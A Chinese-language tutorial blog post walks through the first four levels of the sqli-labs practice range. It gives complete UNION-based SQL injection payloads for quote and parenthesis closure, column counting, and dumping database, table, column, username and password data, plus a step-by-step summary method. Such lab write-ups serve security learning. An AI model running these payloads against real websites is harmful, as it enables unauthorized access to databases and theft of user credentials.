spli-lab靶场

第一关


输入URL/?id = 1  正常
    URL/?id = 1' 显示错误

颜色想同的箭头相互匹配,只有我们输入的单引号没配对

注意一下命令我都省略了URL/?id=

相关知识

--+是注释的意思,注释掉了--后面的所有东西,就是把+号和+号后面的东西都注释掉了,这里的+号可以换成任意的符号a,b,d,r什么的都行,换成#也行


闭合1'

然后这里大概意思就是后面有个限制0,1,我们把他注释掉

我们输入了1' and 1=1--+

就变成'1' and 1=1--+ LIMT 0,1'

    1' and 1=1--+   正常


    1' and 1=2--+   回显出现异常


然后开始order by 测试列数有几列
    1' order by 1--+
    1' order by 2--+
    1' order by 3--+
    1' order by 4--+   异常,说明只有三列


然后我们开始联合查询
    -1' union select 1,2,3--+    回显再2,3,我们对2,3进行修改

先看看数据库的名字

爆库

-1' union select 1,database(),3--+

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

就是把我们爆破到的表名用,间隔打印出来

爆表

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

那我们接着访问一下这个users

爆列

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

然后我们随便访问一个id试试

爆数据

-1' union select 1,username,password from users where id =2 --+

可能大家看的懵懵的嗷,我用那个命令行给大家看看

show databases;     //查看有哪些数据库

use security;      //进入这个数据库

show tabels;     //查看这个数据库里面有哪些表

select * from users;         //查看 这个表里的全部内容,*号代表全部内容

第二关

数字型,就不用单引号闭合的,直接是id=1即可

在联合查询那里,把id=-1'改成id=-1即可,其他同上

为什么是这样的呢,当我们输入URL/?id=1是回显正常

输入URL/?id=1'时,出现异常

前后两个匹配,还剩一个单引号应该是我们输入的,所以猜测是数字型,那我们怎么来判断到底是不是数字型呢

按照上面的步骤

?id=1 and 1=1--+   回显正常

?id=1 and 1=2--+   出现异常

所以这个就是数字型的啦

接下来就是按上面的步骤order by看有几列,

?id=1 order by 1--+

?id=1 order by 2--+

?id=1 order by 3--+

?id=1 order by 4--+  异常

然后我们开始联合查询查看注入点
    -1 union select 1,2,3--+      //发现注入点还是2,3

接下来就是同第一题的步骤咯


-1 union select 1,database(),3--+

发现数据库还是security

那接下来重复步骤即可


-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


-1 union select 1,username,password from users where id =2 --+

第三关

输入URL/?id=1   正常

输入URL/?id=1'   异常

假设我们把我们输入的1’隐藏掉

就变成了这样

'口口') LIMIT 0,1

感觉是这一部分,我们试试看

输入?id=1') and 1=1--+  正常

输入?id=1') and 1=2--+  异常

ok那我们就可以确定是这个啦

接下来就order by咯

?id=1') order by 1--+

?id=1') order by 2--+

?id=1') order by 3--+

?id=1') order by 4--+  异常

就只有三列

然后联合查询

-1') union select 1,2,3--+   //查看注入点,发现还是2,3

-1') union select 1,database(),3--+

发现数据库还是security

那接下来重复步骤即可


-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


-1') union select 1,username,password from users where id =2 --+

第四关

这一关,我事了id=1,1’,1’)都不报错,试不出来了,就去看看源码了

从这个可以发现注入方式是URL/?id=1")

接下来就可以判断一下到底是不是这个注入方式啦

URL/?id=1") and 1=1 --+       正常

URL/?id=1") and 1=2 --+       异常

那应该就是这个注入方式了

判断完注入方式后,就应该order by查看有几列啦

URL/?id=1") order by 1 --+

URL/?id=1") order by 2 --+

URL/?id=1") order by 3 --+

URL/?id=1") order by 4 --+    异常

URL/?id=-1") union select  1,2,3 --+   //联合注入查看注入点

发现注入点还是2,3

接下来就是跟第一题一样的步骤啦

-1") union select 1,database(),3--+


-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


-1") union select 1,username,password from users where id =2 --+

总结

判断注入方式

先URL/?id=1试试

URL/?id=1'试试,看看是否会报错,如果会报错的话就查看报错信息有啥,根据报错信息看看怎样修改注入

修改注入后用  URL/?id=1' and 1=1 --+

                        URL/?id=1' and 1=2 --+     

                        URL/?id=1' order by 1 --+                  这里的1'改成我们修改后的注入方式

然后联合查询查看注入点,在联合查询的时候要注意将注入点中的1改成-1,例如这里就是改成

URL/?id=-1' union select  1,2,3--+ 

union select  1,2,3--+(我这里默认三列的嗷,但是要看你实际order by 了几列出来)

爆库 databbase()

爆表,group(table_name), from information_schema.tables where table_schema='爆出来的数据库名字'

爆列,group(column_name), from information_schema.columns where table_name='爆出来的表名字'

爆数据  列名,列名,from  表名 where 列名 = --+

最后别忘了末尾都要加--+嗷

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值